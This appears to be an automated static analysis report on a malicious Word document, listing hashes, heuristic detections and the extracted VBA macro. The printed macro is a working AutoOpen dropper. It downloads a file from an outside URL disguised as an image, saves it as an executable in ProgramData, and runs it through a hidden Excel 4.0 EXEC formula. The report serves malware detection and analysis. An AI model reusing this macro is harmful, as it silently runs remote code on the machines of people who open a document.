Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c99304c51df7442b…

MALICIOUS

Office (OOXML)

18.9 KB Created: 2021-02-17 01:41:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-02-23
MD5: c58a9eddb6af62615b6045f33f1eb79f SHA-1: 4decbff44db9b2fb01ed250640ab214cd8d6eff4 SHA-256: c99304c51df7442bf477a3db8389c9a941392b501cccb64d9fcd03e71666ed5b
198 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Sub AutoOpen()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ExcelSheet = CreateObject("Excel.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Image = Environ("ProgramData") & "\image.exe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://the.earth.li/~sgtatham/putty/latest/w32/putty.jpegReferenced by macro
    • https://the.earth.li/~sgtatham/putty/latest/w32/putty.jpeg�Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1461 bytes
SHA-256: 498b911d26eb6a80a2a7a72f260caf0bb1c26a7ea228da3e351205e18b75fa96
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub AutoOpen()

Dim ExcelSheet As Object
Dim strMacro As String

Set ExcelSheet = CreateObject("Excel.Application")
Set Workbook = ExcelSheet.workbooks.Add()
Set Worksheets = ExcelSheet.Worksheets
Image = Environ("ProgramData") & "\image.exe"
ExcelSheet.DisplayAlerts = False
ExcelSheet.Application.Visible = 0


Worksheets.Add Before:=Worksheets(1), Count:=1, Type:=4
On Error Resume Next

ExcelSheet.Range("A1").Name = "ok"

ExcelSheet.Range("A108").Value = "https://the.earth.li/~sgtatham/putty/latest/w32/putty.jpeg"

URLDownloadToFile 0, Replace(ExcelSheet.Range("A108").Value, "jpeg", "exe"), Image, 0, 0

ExcelSheet.Range("A109") = "=WAIT(NOW()+""00:00:6"")"

ExcelSheet.Range("A111") = "=EXEC(" + Image + ")"

ExcelSheet.Sheets(1).Visible = 2

strMacro = "ok"

ExcelSheet.Run (strMacro)

ExcelSheet.Application.Quit

Set ExcelSheet = Nothing

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: 9443dfd3719f0e46ce91ae4dc0ba2efbcf8b5ada60d3e1598106bb9d62a41980

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